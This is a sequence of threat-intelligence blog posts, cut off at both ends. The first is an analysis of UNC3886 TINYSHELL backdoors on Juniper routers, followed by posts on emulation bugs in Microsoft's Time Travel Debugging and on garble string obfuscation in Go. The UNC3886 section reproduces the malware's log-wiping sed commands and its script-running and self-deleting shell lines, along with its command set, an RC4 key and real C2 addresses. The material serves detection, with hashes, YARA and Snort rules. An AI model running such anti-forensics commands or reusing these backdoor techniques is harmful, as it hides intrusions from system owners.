This direct memory manipulation using dd allows the attacker to alter program behavior and bypass security measures. UNC3886 previously used a similar tactic, where dd was used to disable file system verification on startup. In that case, UNC3886 exploited a vulnerability (CVE-2022-41328) to overwrite legitimate FortiOS system binaries, achieving persistence and evading security checks. 

Command 1

This command can reverse operations performed by Command 0 after the operator finished their hands-on-keyboard operations. It restores logging by executing sh /var/tmp/pfed_jdhcp6_trace.log.bak post, it also reverses patches to snmpd and mgd.

Command 2 — Launch CSH Session

This command launches an interactive /bin/csh session over the UDP connection, with a forked process encrypting the input and output of the shell and transmitting it over the network.

Before executing remote shell, this commands launches a series of sed commands to remove specific lines from log files:

sed -i '' '/root/d' /var/log/interactive-commands sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history sed -i '' '/root/d' /var/log/messages sed -i '' '/root/d' /var/log/auth

These remove lines containing the term root from /var/log/interactive-commands, /var/log/messages, and /var/log/auth. They also remove instances of vi, set, gdb, and mgd from /root/.history.

Command 3 — Request New Sleep Timeout

This command will cause the malware to send a reply to the connection containing the value of the current sleep timeout. The response to that message will contain the new 4-byte sleep timeout that will be used by the main command loop (in seconds).

Command 4 — File Upload

This command will cause the malware to send a specified file to the remote server.

Command 5 — File Download

This command will cause the malware to download a file from the remote server and write it to the disk.

Command 6 — Backup Configuration Database

This command causes the malware to execute the same script as Command 0 but with argument backup to backup Juniper configuration database and commit logs.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 7 — Restore configuration database

This command causes the malware to execute the same script as Command 0 but with argument restore to restore Juniper configuration database and commit logs:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 8 - Receive new socket timeout value

This command will cause the malware to send a reply to the connection containing the value of the current socket timeout. The response to that message will contain the new 4-byte value that will be used to update the main socket timeout. The default socket timeout value is 300 seconds

If any other command is passed, malware will close the socket and exit. 

jdosd — TINYSHELL-Based Passive Backdoor

Sample five, named jdosd, is a passive backdoor written in C. It implements a UDP backdoor operating on a fixed port number which provides file transfer and remote shell capabilities.

Malware binds to UDP port 33512 and uses a custom RC4 implementation. This implementation has a bug in it where it doesn't properly retrieve a final state box value during its PRGA generation. The following key is used for the traffic encryption:

4fd37426-65dd-4a8d-8ba6-1382a011dae9

The attacker initiates the connection to the backdoor by sending a magic value 0xDEADBEEF. The malware responds to this message by sending the same message in response, encrypted with custom RC4. The malware will then send the process ID (pid) of its own process to the C2.

After the initial beacon the malware waits for additional commands. In addition to standard TINYSHELL commands (1-3), there are two additional commands supported(0xAC, 0xFF):

Command Code

Description

Comment

1

Upload data. Reads a file path from the received data stream and sends the contents of the file to the remote host.

Standard TINYSHELL command

2

Reads a file name from the data stream, creates it, then reads the file contents to write to that file from the data stream.

Standard TINYSHELL command

3

Launches an interactive /bin/csh session, with all input and output marshaled across the UDP connection

Standard TINYSHELL command

0xAC

Does nothing

Custom command

0xFF

Exits the Program

Custom command

oemd — TINYSHELL-Based Passive Backdoor

Sample six, named oemd, is a passive backdoor written in C. The backdoor receives the C2 address and port by binding on specific network interfaces. Network interfaces are stored in an environment variable. The backdoor communicates with the C2 over TCP. Communication with C2 is AES-encrypted and XOR-encoded.

The malware configuration is stored in the following environment variables:

• INTFS: The network interfaces' names to bind to.

• RTS: The routing addresses to bind to (instead of interfaces).

• UPRT: The port to bind to (if not specified, 45678 is used)

• DAEMON: Run the sample in the background.

During initialization, malware executes following command to retrieve local-index number of an interface specified in the INTFS environment variable:

ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'

After setting up a local UDP socket, malware binds to 0.0.0.0:<port> on the specified interfaces and waits for the attacker to send the C2 address and port. After receiving a C2 address on the UDP socket it establishes a new TCP connection to the provided target.

Malware supports a set of standard TINYSHELL commands:

• 1: Upload a file.

• 2: Download a file.

• 3: Execute a shell command.

When executing shell commands, the malware clears the HISTFILE environment variable and allows the attacker to specify the TERM value.

Junos OS Specific Socket Options

All the previously listed samples create an AF_ROUTE socket using socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0). Running these samples on a standard FreeBSD system would return an invalid socket, hence we believe this to be a JunosOS specific implementation.

We believe that this socket is used to establish a connection for communicating with the operating system's routing subsystem. The AF_ROUTE constant designates the socket family for routing operations, and SOCK_SEQPACKET specifies a reliable, message-oriented connection. This socket is used to read and write a packet similar in structure to rt_* messages on OpenBSD to retrieve the interface index. From all the samples, only oemd uses the ifinfo command to retrieve the interface index, while other samples are using a custom rt_* messages via the socket.

The custom message contains an interface name and a logical sub interface. On Juniper routing devices, instead of tagging packets with VLAN IDs, sub-interfaces act as distinct interfaces with their own IP addresses, routing configurations, and potentially different security policies. The interface index value is then passed into a setsockopt call for a command and control socket either TCP or UDP.

Activity in Linux Environments

Mandiant continued to observe UNC3886 leverage similar TTPs and use of the same malware and utilities as detailed in our previous blog post as follows:

• Command execution and persistence using a combination of rootkits and utilities, including REPTILE and MEDUSA with SEAELF loader, and BUSYBOX.

• Instead of using the publicly available kubo/injector as noted previously, Mandiant observed UNC3886 deployed PITHOOK along with a custom SSH server based on the publicly available wzshiming/sshd project to hijack SSH authentications and capture SSH credentials.

• TACACS+ daemon binary was replaced by a backdoored version of the binary with similar malicious functions for capturing credentials.

• Use of GHOSTTOWN malware for anti-forensics purposes.

Mandiant’s investigation did not observe evidence of data staging and exfiltration.

Outlook and Implications

This blog post further highlights China-nexus espionage actors  are continuing to compromise networking infrastructure with custom malware ecosystems. While UNC3886 previously focused their operations on network edge devices, this activity demonstrated they’re also targeting internal networking infrastructure, such as Internet Service Provider (ISP) routers.

Mandiant observed the threat actor targeting network authentication services, including the Terminal Access Controller Access-Control System (TACACS+), and terminal servers with access to the routers to gain privileged initial access.

This privileged access allowed the threat actor to enter Junos OS shell mode and perform restricted operations. Investigating further actions taken by the threat actor was hampered by the challenges inherent in analyzing proprietary network devices, which required novel methods for artifact acquisition and analysis. 

Mandiant recommends organizations:

• Upgrade Juniper devices and run security checks: Organizations should upgrade their Juniper devices to the latest images which contain mitigations and updated signatures for JMRT and run JMRT Quick Scan and Integrity check after the upgrade. 
• Secure Authentication: Implement a centralized Identity and Access Management (IAM) system with robust multi-factor authentication (MFA) and granular role-based access control (RBAC) for managing network devices.
• Configuration Management: Implement a network configuration management that supports configuration validation against defined templates and standards, with the ability to automatically remediate deviations or trigger alerts for manual intervention.
• Enhanced Monitoring: Address and prioritize high-risk administrative activities and implement monitoring solutions with a process to regularly review the effectiveness of detection.
• Vulnerability Management: Prioritize patching and mitigation of vulnerabilities in network devices, including those in lesser-known operating systems.
• Device Lifecycle Management: Implement a device lifecycle management program that includes proactive monitoring, automated software updates, and end-of-life (EOL) replacement planning to ensure network devices are always supported and secure. 
• Security Hardening: Strengthen the security posture of network devices, administrative devices and systems used for managing network devices by implementing strict access controls, network segmentation, and other security measures.
• Threat Intelligence: Proactively leverage threat intelligence to continually evaluate and improve the effectiveness of security controls against emerging threats.

The compromise of routing devices is a recent trend in the tactics of espionage-motivated adversaries as it grants the capability for a long-term, high-level access to the crucial routing infrastructure, with a potential for more disruptive actions in the future. A concerted effort is required to safeguard these critical systems and ensure the continued stability and security of the internet.

Organizations potentially impacted by this campaign are strongly advised to engage Mandiant's Custom Threat Hunt service. Mandiant's team of security experts can proactively identify and mitigate hidden threats, providing clarity and confidence in your security posture.

Acknowledgement

This analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. A special thanks goes to Paul Tarter, Adam Markun, and Ange Albertini who contributed to analysis of the malware detailed in this blog post.

Indicators of Compromise

A Google Threat Intelligence Collection of IOCs is available for registered users. For Google Security Operations Enterprise+ customers, rules have been released to your Emerging Threats rule pack, and indicators of compromise (IOCs) listed in this blog post are available for prioritization with Applied Threat Intelligence.

Host-Based Indicators

Filename

Malware Family

MD5

SHA1

SHA256

appid

TINYSHELL

2c89a18944d3a895bd6432415546635e

50520639cf77df0c15cc95076fac901e3d04b708

98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888

irad

TINYSHELL

aac5d83d296df81c9259c9a533a8423a

1a6d07da7e77a5706dd8af899ebe4daa74bbbe91

5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2

jdosd

TINYSHELL

8023d01ffb7a38b582f0d598afb974ee

06a1f879da398c00522649171526dc968f769093

c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3

lmpad

TINYSHELL

5724d76f832ce8061f74b0e9f1dcad90

f8697b400059d4d5082eee2d269735aa8ea2df9a

5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a

oemd

TINYSHELL

e7622d983d22e749b3658600df00296d

cf7af504ef0796d91207e41815187a793d430d85

905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b

to

TINYSHELL

b9e4784fa0e6283ce6e2094426a02fce

01735bb47a933ae9ec470e6be737d8f646a8ec66

e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed

oemd

TINYSHELL

bf80c96089d37b8571b5de7cab14dd9f

cec327e51b79cf11b3eeffebf1be8ac0d66e9529

3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e

lmpad

TINYSHELL

3243e04afe18cc5e1230d49011e19899

2e9215a203e908483d04dfc0328651d79d35b54f

7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4

Network Indicators

Description

Indicator

TINYSHELL Command and Control server

129.126.109.50:22

TINYSHELL Command and Control server

116.88.34.184:22

TINYSHELL Command and Control server

223.25.78.136:22

TINYSHELL Command and Control server

45.77.39.28:22

TINYSHELL Command and Control server

101.100.182.122:22

TINYSHELL Command and Control server

118.189.188.122:22

TINYSHELL Command and Control server

158.140.135.244:22

TINYSHELL Command and Control server

8.222.225.8:22

Detection YARA-L Rules

Relevant rules are available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set.

• SEAELF Installer Execution

• GHOSTTOWN Utility Execution

• REPTILE Rootkit Command Line Argument Tampering

• REPTILE Rootkit Cmd Component Usage

• REPTILE Rootkit Shell Component Usage

• REPTILE Rootkit Hide Command Usage

YARA Rules rule M_Hunting_PacketEncryptionLayer_1 { meta: author = "Mandiant" strings: $pel_1 = "pel_client_init" $pel_2 = "pel_server_init" $pel_3 = "pel_setup_context" $pel_4 = "pel_send_msg" $pel_5 = "pel_recv_msg" $pel_6 = "pel_send_all" $pel_7 = "pel_recv_all" $pel_8 = "pel_errno" $pel_9 = "pel_context" $pel_10 = "pel_ctx" $pel_11 = "send_ctx" $pel_12 = "recv_ctx" condition: 4 of ($pel_*) } rule M_Hunting_TINYSHELL_5 { meta: author = "Mandiant" strings: $tsh_1 = "tsh_get_file" $tsh_2 = "tsh_put_file" $tsh_3 = "tsh_runshell" $tshd_1 = "tshd_get_file" $tshd_2 = "tshd_put_file" $tshd_3 = "tshd_runshell" condition: all of ($tshd_*) or all of ($tsh_*) } Snort/Suricata Rules alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1"; dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; ) alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2"; dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; ) alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J"; content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; ) alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2"; dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83 92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )

Written by: Dhanesh Kizhakkinan, Nino Isakovic

Executive Summary

This blog post presents an in-depth exploration of Microsoft's Time Travel Debugging (TTD) framework, a powerful record-and-replay debugging framework for Windows user-mode applications. TTD relies heavily on accurate CPU instruction emulation to faithfully replay program executions. However, subtle inaccuracies within this emulation process can lead to significant security and reliability issues, potentially masking vulnerabilities or misleading critical investigations—particularly incident response and malware analysis. This could cause analysts to overlook threats or draw incorrect conclusions. Furthermore, attackers can exploit these inaccuracies to intentionally evade detection or disrupt forensic analyses, severely compromising investigative outcomes. 

The blog post examines specific challenges, provides historical context, and analyzes real-world emulation bugs, highlighting the critical importance of accuracy and ongoing improvement to ensure the effectiveness and reliability of investigative tooling. Ultimately, addressing these emulation issues directly benefits users by enhancing security analyses, improving reliability, and ensuring greater confidence in their debugging and investigative processes.

Overview

We begin with an introduction to TTD, detailing its use of a sophisticated CPU emulation layer powered by the Nirvana runtime engine. Nirvana translates guest instructions into host-level micro-operations, enabling detailed capture and precise replay of a program's execution history.

The discussion transitions into exploring historical challenges in CPU emulation, particularly for the complex x86 architecture. Key challenges include issues with floating-point and SIMD operations, memory model intricacies, peripheral and device emulation, handling of self-modifying code, and the constant trade-offs between performance and accuracy. These foundational insights lay the groundwork for our deeper examination of specific instruction emulation bugs discovered within TTD.

These include:

• A bug involving the emulation of the pop r16, resulting in critical discrepancies between native execution and TTD instrumentation.

• An issue with the push segment instruction that demonstrates differences between Intel and AMD CPU implementations, highlighting the importance of accurate emulation aligned with hardware behavior

• Errors in the implementation of the lodsb and lodsw instructions, where TTD incorrectly clears upper bits that should remain unchanged.

• An issue within the WinDbg TTDAnalyze debugging extension, where a fixed output buffer resulted in truncated data during symbol queries, compromising debugging accuracy.

Each case is supported by detailed analyses, assembly code proof-of-concept samples, and debugging traces, clearly illustrating the subtle but significant pitfalls in modern CPU emulation as it pertains to TTD.

Additional bugs discovered beyond those detailed here are pending disclosure until addressed by Microsoft. All bugs discussed in this post have been resolved as of TTD version 1.11.410.

Intro to TTD

Time Travel Debugging (TTD) is a powerful usermode record-and-replay framework developed by Microsoft, originally introduced in a 2006 whitepaper under a different name. It is a staple for our workflows as it pertains to Windows environments.

TTD allows a user to capture a comprehensive recording of a process (and potential child processes) during the lifetime of the process's execution. This is done by injecting a dynamic-link library (DLL) into the intended target process and capturing each state of the execution. This comprehensive historical view of the program's runtime behavior is stored in a database-like trace file (.trace), which, much like a database, can be further indexed to produce a corresponding .idx file for efficient querying and analysis.

Once recorded, trace files can be consumed by a compatible client that supports replaying the entire execution history. In other words, TTD effectively functions as a record/replay debugger, enabling analysts to move backward and forward through execution states as if navigating a temporal snapshot of the program's lifecycle.

TTD relies on a CPU emulation layer to accurately record and replay program executions. This layer is implemented by the Nirvana runtime engine, which simulates guest instructions by translating them into a sequence of simpler, host-level micro-operations. By doing so, Nirvana provides fine-grained control at the instruction and sub-instruction level, allowing instrumentation to be inserted at each stage of instruction processing (e.g., fetching, memory reads, writes). This approach not only ensures that TTD can capture the complete dynamic behavior of the original binary but also makes it possible to accurately re-simulate executions later.

Nirvana's dynamic binary translation and code caching techniques improve performance by reusing translated sequences when possible. In cases where code behaves unpredictably—such as self-modifying code scenarios—Nirvana can switch to a pure interpretation mode or re-translate instructions as needed. These adaptive strategies ensure that TTD maintains fidelity and efficiency during the record and replay process, enabling it to store execution traces that can be fully re-simulated to reveal intricate details of the code's behavior under analysis.

The TTD framework is composed of several core components:

• TTD: The main TTD client executable that takes as input a wide array of input arguments that dictate how the trace will be conducted.

• TTDRecord: The main DLL responsible for the recording that runs within the TTD client executable. It initiates the injection sequence into the target binary by injecting TTDLoader.dll.

• TTDLoader: DLL that gets injected into the guest process and initiates the recorder within the guest through the TTDRecordCPU DLL. It also establishes a process instrumentation callback within the guest process that allows Nirvana to monitor the egress of any system calls the guest makes.

• TTDRecordCPU: The recorder responsible for capturing the execution states into the .trace file. This is injected as a DLL into the guest process and communicates the status of the trace with TTDRecord. The core logic works by emulating the respective CPU.

• TTDReplay and TTDReplayClient: The replay components that read the captured state from the trace file and allow users to step through the recorded execution.

• Windbg uses these to provide support for replacing trace files.

• TTDAnalyze: A WinDbg extension that integrates with the replay client, providing exclusive TTD capacities to WinDbg. Most notable of these are the Calls and Memory data model methods.

CPU Emulation

Historically, CPU emulation—particularly for architectures as intricate as x86—has been a persistent source of engineering challenges. Early attempts struggled with instruction coverage and correctness, as documentation gaps and hardware errata made it difficult to replicate every nuanced corner case. Over time, a number of recurring problem areas and bug classes emerged:

• Floating-Point and SIMD Operations: Floating-point instructions, with their varying precision modes and extensive register states, have often been a source of subtle bugs. Miscalculating floating-point rounding, mishandling denormalized numbers, or incorrectly implementing special instructions like FSIN or FCOS can lead to silent data corruption or outright crashes. Similarly, SSE, AVX, and other vectorized instructions introduce complex states that must be tracked accurately.

• Memory Model and Addressing Issues: The x86 architecture's memory model, which includes segmentation, paging, alignment constraints, and potential misalignments in legacy code, can introduce complex bugs. Incorrectly emulating memory accesses, not enforcing proper page boundaries, or failing to handle "lazy" page faults and cache coherency can result in subtle errors that only appear under very specific conditions.

• Peripheral and Device Emulation: Emulating the behavior of x86-specific peripherals—such as serial I/O ports, PCI devices, PS/2 keyboards, and legacy controllers—can be particularly troublesome. These components often rely on undocumented behavior or timing quirks. Misinterpreting device-specific registers or neglecting to reproduce timing-sensitive interactions can lead to erratic emulator behavior or device malfunctions.

• Compatibility with Older or Unusual Processors: Emulating older generations of x86 processors, each with their own peculiarities and less standardized features, poses its own set of difficulties. Differences in default mode settings, instruction variants, and protected-mode versus real-mode semantics can cause unexpected breakages. A once-working emulator may fail after it encounters code written for a slightly different microarchitecture or an instruction that was deprecated or implemented differently in an older CPU.

• Self-Modifying Code and Dynamic Translation: Code that modifies itself at runtime demands adaptive strategies, such as invalidating cached translations or re-checking original code bytes on the fly. Handling these scenarios incorrectly can lead to stale translations, misapplied optimizations, and difficult-to-trace logic errors.

• Performance vs. Accuracy Trade-Offs: Historically, implementing CPU emulators often meant juggling accuracy with performance. Naïve instruction-by-instruction interpretation provided correctness but was slow. Introducing caching or just-in-time (JIT)-based optimizations risked subtle synchronization issues and bugs if not properly synchronized with memory updates or if instruction boundaries were not well preserved.

Collectively, these historical challenges underscore that CPU emulation is not just about instruction decoding. It requires faithfully recreating intricate details of processor states, memory hierarchies, peripheral interactions, and timing characteristics. Even as documentation and tooling have improved, achieving both correctness and efficiency remains a delicate balancing act, and emulation projects continue to evolve to address these enduring complexities.

The Initial TTD Bug

Executing a heavily obfuscated 32-bit Windows Portable Executable (PE) file under TTD instrumentation resulted in a crash. The same sample file did not cause a crash while executing in a real computer or in a virtual machine. We suspected either the sample is detecting TTD execution and or TTD itself has a bug in emulating an instruction. A good thing about debugging TTD issues is that the TTD trace file itself can be used to pinpoint the cause of the issue most of the time. Figure 1 points to the crash while in TTD emulation.

Figure 1: Crash while accessing an address pointed by register ESI

Back tracing the ESI register value to 0xfb3e took stepping back hundreds of instructions and ended up in the following sequence of instructions, as shown in Figure 2.

Figure 2: Register ESI getting populated by pop si and xchg si,bp

There are two instructions populating the ESI register, both working with the 16-bit sub register of SI while completely ignoring the other 16-bit part of the ESI register. If we look closely at the results after pop si instruction in Figure 2, the upper 16-bit of the ESI register seems to be nulled out. This looked like a bug in emulating pop r16 instructions, and we quickly wrote a proof-of-concept code for verification (Figure 3).

Figure 3: Proof-of-concept for pop r16

Running the resulting binary natively and with TTD instrumentation as shown in Figure 4 confirmed our suspicion that the pop r16 instructions are emulated differently in TTD than on a real CPU.

Figure 4: Running the code natively and with TTD instrumentation

We reported this issue and the fuzzing results to the TTD team at Microsoft.  

Fuzzing TTD

Given there is one instruction emulation bug (instruction sequence that produces different results in real vs TTD execution), we decided to fuzz TTD to find similar bugs. A rudimentary harness was created to execute a random sequence of instructions and record the resulting values. This harness was executed on a real CPU and under TTD instrumentation, providing us with two sets of results. Any changes in results or partial lack of results points us to a likely instruction emulation bug.

Results Bug 1: PUSH segment Instruction Emulation Discrepancy

Figure 5: Proof-of-concept for push segment

This new bug was fairly similar to the original pop r16 bug, but with a push segment instruction. This bug also comes with a little bit of twist. While our fuzzer was running on an Intel CPU-based machine and one of us verified the bug locally, the other person was not able to verify the bug. Interestingly, the failure happened on an AMD-based CPU, tipping us to the possibility that the push segment instruction implementation varies between INTEL and AMD CPUs.

Looking at both INTEL and AMD CPU specifications, INTEL specification goes into details about how recent processors implement push segment register instruction:

If the source operand is a segment register (16 bits) and the operand size is 64-bits, a zero-extended value is pushed on the stack; if the operand size is 32-bits, either a zero-extended value is pushed on the stack or the segment selector is written on the stack using a 16-bit move. For the last case, all recent Intel Core and Intel Atom processors perform a 16-bit move, leaving the upper portion of the stack location unmodified. (INTEL spec Vol.2B 4-517)

We reported the discrepancy to AMD PSIRT, who concluded that this is not a security vulnerability. It seems sometime circa 2007 INTEL and AMD CPU started implementing the push segment instruction differently, and TTD emulation followed the old way.

Bug 2: lodsb/lodsw Instruction Emulation Discrepancy

The lodsb and lodsw are not correctly implemented for both 32-bit and 64-bit instructions. Both clear the upper bits of the register (rax/eax) whereas the original instructions only modify their respective granularities (i.e., lodsb will only overwrite 1-byte, lodsw only 2-bytes).

Figure 6: Proof-of-concept for lodsb/lodsw

There are additional instruction emulation bugs pending fixes from Microsoft. 

Bug 3: Windbg TTDAnalyze Output Capture Truncation

As we were pursuing our efforts in the CPU emulator, we accidentally stumbled on another bug, this time not in the emulator but inside the Windbg extension exposed by TTD: TTDAnalyze.dll.

This extension leverages the debugger's data model to allow a user to interact with the trace file in an interactive manner. This is done via exposing a TTD data model namespace under certain parts of the data model, such as the current process (@$curproces), the current thread (@$curthread), and current debugging session (@$cursession).

Figure 7: TTD query types

As an example, the @$cursession.TTD.Calls method allows a user to query all call locations captured within the trace. It takes as input either an address or case-insensitive symbol name with support for regex. The symbol name can either be in the format of a string (with quotes) or parsed symbol name (without quotes). The former is only applicable when the symbols are resolved fully (e.g., private symbols), as the data model has support for converting private symbols into an ObjectTargetObject object thus making it consumable to the dx evaluation expression parser.

The bug in question directly affects the exposed Calls method under @$cursession.TTD.Calls because it uses a fixed, static buffer to capture the results of the symbol query. In Figure 8 we illustrate that by passing in two similar regex strings that produce inconsistent results.

Figure 8: TTD Calls query

When we query C* and Create*, the C* query results do not return the other Create APIs that were clearly captured in the trace. Under the hood, TTDAnalyze executes the examine debugger command "x KERNELBASE!C*" with a custom output capture to process the results. This output capture truncates any captured data if it is greater than 64 KB in size.

If we take the disassembly of the global buffer and output capture routine in TTDAnalyze (SHA256 CC5655E29AFA87598E0733A1A65D1318C4D7D87C94B7EBDE89A372779FF60BAD) prior to the fix, we can see the following (Figure 9 and Figure 10):

Figure 9: TTD implementation disassembly

Figure 10: TTD implementation disassembly

The capture for the examine command is capped at 64 KB. When the returned data exceeds this limit, truncation is performed at address 0x180029960. Naturally querying symbols starting with C* typically yields a large volume of results, not just those beginning with Create*, leading to the observed truncation of the data.

Final Thoughts

The analysis presented in this blog post highlights the critical nature of accuracy in instruction emulation—not just for debugging purposes, but also for ensuring robust security analysis. The observed discrepancies, while subtle, underscore a broader security concern: even minor deviations in emulation behavior can misrepresent the true execution of code, potentially masking vulnerabilities or misleading forensic investigations.

From a security perspective, the work emphasizes several key takeaways:

• Reliability of Debugging Tools: TTD and similar frameworks are invaluable for reverse engineering and incident response. However, any inaccuracies in emulation, such as those revealed by the misinterpretation of pop r16, push segment, or lods* instructions, can compromise the fidelity of the analysis. This raises important questions about trust in our debugging tools when they are used to analyze potentially malicious or critical code.

• Impact on Threat Analysis: The ability to replay a process's execution with high fidelity is crucial for uncovering hidden behaviors in malware or understanding complex exploits. Instruction emulation bugs may inadvertently alter the execution path or state, leading to incomplete or skewed insights that could affect the outcome of a security investigation.

• Collaboration and Continuous Improvement: The discovery of these bugs, followed by their detailed documentation and reporting to the relevant teams at Microsoft and AMD, highlights the importance of a collaborative approach to security research. Continuous testing, fuzzing, and cross-platform comparisons are essential in maintaining the integrity and security of our analysis tools.

In conclusion, this exploration not only sheds light on the nuanced challenges of CPU emulation within TTD, but also serves as a call to action for enhanced scrutiny and rigorous validation of debugging frameworks. By ensuring that these tools accurately mirror native execution, we bolster our security posture and improve our capacity to detect, analyze, and respond to sophisticated threats in an ever-evolving digital landscape.

Acknowledgments

We extend our gratitude to the Microsoft Time Travel Debugging team for their readiness and support in addressing the issues we reported. Their prompt and clear communication not only resolved the bugs but also underscored their commitment to keeping TTD robust and reliable. We further appreciate that they have made TTD publicly available—a resource invaluable for both troubleshooting and advancing Windows security research.

Written by: Chuong Dong

Overview

In our day-to-day work, the FLARE team often encounters malware written in Go that is protected using garble. While recent advancements in Go analysis from tools like IDA Pro have simplified the analysis process, garble presents a set of unique challenges, including stripped binaries, function name mangling, and encrypted strings.

Garble's string encryption, while relatively straightforward, significantly hinders static analysis. In this blog post, we'll detail garble’s string transformations and the process of automatically deobfuscating them.

We're also introducing GoStringUngarbler, a command-line tool written in Python that automatically decrypts strings found in garble-obfuscated Go binaries. This tool can streamline the reverse engineering process by producing a deobfuscated binary with all strings recovered and shown in plain text, thereby simplifying static analysis, malware detection, and classification.

aside_block

<ListValue: [StructValue([('title', 'Get GoStringUngarbler!'), ('body', <wagtail.rich_text.RichText object at 0x3ec390c7af10>), ('btn_text', 'Download now'), ('href', 'https://github.com/mandiant/gostringungarbler'), ('image', None)])]>

Garble Obfuscating Compiler

Before detailing the GoStringUngarbler tool, we want to briefly explain how the garble compiler modifies the build process of Go binaries. By wrapping around the official Go compiler, garble performs transformations on the source code during compilation through Abstract Syntax Tree (AST) manipulation using Go’s go/ast library. Here, the obfuscating compiler modifies program elements to obfuscate the produced binary while preserving the semantic integrity of the program. Once transformed by garble, the program’s AST is fed back into the Go compilation pipeline, producing an executable that is harder to reverse engineer and analyze statically. 

While garble can apply a variety of transformations to the source code, this blog post will focus on its "literal" transformations. When garble is executed with the -literals flag, it transforms all literal strings in the source code and imported Go libraries into an obfuscated form. Each string is encoded and wrapped behind a decrypting function, thwarting static string analysis. 

For each string, the obfuscating compiler can randomly apply one of the following literal transformations. We'll explore each in greater detail in subsequent sections.

• Stack transformation: This method implements runtime encoding to strings stored directly on the stack.

• Seed transformation: This method employs a dynamic seed-based encryption mechanism where the seed value evolves with each encrypted byte, creating a chain of interdependent encryption operations.

• Split transformation: This method fragments the encrypted strings into multiple chunks, each to be decrypted independently in a block of a main switch statement.

Stack Transformation

The stack transformation in garble implements runtime encrypting techniques that operate directly on the stack, using three distinct transformation types: simple, swap, and shuffle. These names are taken directly from the garble’s source code. All three perform cryptographic operations with the string residing on the stack, but each differs in complexity and approach to data manipulation.

• Simple transformation: This transformation applies byte-by-byte encoding using a randomly generated mathematical operator and a randomly generated key of equal length to the input string.
• Swap transformation: This transformation applies a combination of byte-pair swapping and position-dependent encoding, where pairs of bytes are shuffled and encrypted using dynamically generated local keys.
• Shuffle transformation: This transformation applies multiple layers of encryption by encoding the data with random keys, interleaving the encrypted data with its keys, and applying a permutation with XOR-based index mapping to scatter the encrypted data and keys throughout the final output.

Simple Transformation

This transformation implements a straightforward byte-level encoding scheme at the AST level. The following is the implementation from the garble repository. In Figure 1 and subsequent code samples taken from the garble repository, comments were added by the author for readability.

// Generate a random key with the same length as the input string key := make([]byte, len(data)) // Fill the key with random bytes obfRand.Read(key) // Select a random operator (XOR, ADD, SUB) to be used for encryption op := randOperator(obfRand) // Encrypt each byte of the data with the key using the random operator for i, b := range key { data[i] = evalOperator(op, data[i], b) }

Figure 1: Simple transformation implementation

The obfuscator begins by generating a random key of equal length to the input string. It then randomly selects a reversible arithmetic operator (XOR, addition, or subtraction) that will be used throughout the encoding process.

The obfuscation is performed by iterating through the data and key bytes simultaneously, applying the chosen operator between each corresponding pair to produce the encoded output.

Figure 2 shows the decompiled code produced by IDA of a decrypting subroutine of this transformation type.

Figure 2: Decompiled code of a simple transformation decrypting subroutine

Swap Transformation

The swap transformation uses a byte-shuffling and encryption algorithm to encrypt a string literal. Figure 3 shows its implementation from the garble repository.

// Determines how many swap operations to perform based on data length func generateSwapCount(obfRand *mathrand.Rand, dataLen int) int { // Start with number of swaps equal to data length swapCount := dataLen // Calculate maximum additional swaps (half of data length) maxExtraPositions := dataLen / 2 // Add a random amount if we can add extra positions if maxExtraPositions > 1 { swapCount += obfRand.Intn(maxExtraPositions) } // Ensure swap count is even by incrementing if odd if swapCount%2 != 0 { swapCount++ } return swapCount } func (swap) obfuscate(obfRand *mathrand.Rand, data []byte) *ast.BlockStmt { // Generate number of swap operations to perform swapCount := generateSwapCount(obfRand, len(data)) // Generate a random shift key shiftKey := byte(obfRand.Uint32()) // Select a random reversible operator for encryption op := randOperator(obfRand) // Generate list of random positions for swapping bytes positions := genRandIntSlice(obfRand, len(data), swapCount) // Process pairs of positions in reverse order for i := len(positions) - 2; i >= 0; i -= 2 { // Generate a position-dependent local key for each pair localKey := byte(i) + byte(positions[i]^positions[i+1]) + shiftKey // Perform swap and encryption: // - Swap positions[i] and positions[i+1] // - Encrypt the byte at each position with the local key data[positions[i]], data[positions[i+1]] = evalOperator(op, data[positions[i+1]], localKey), evalOperator(op, data[positions[i]], localKey) 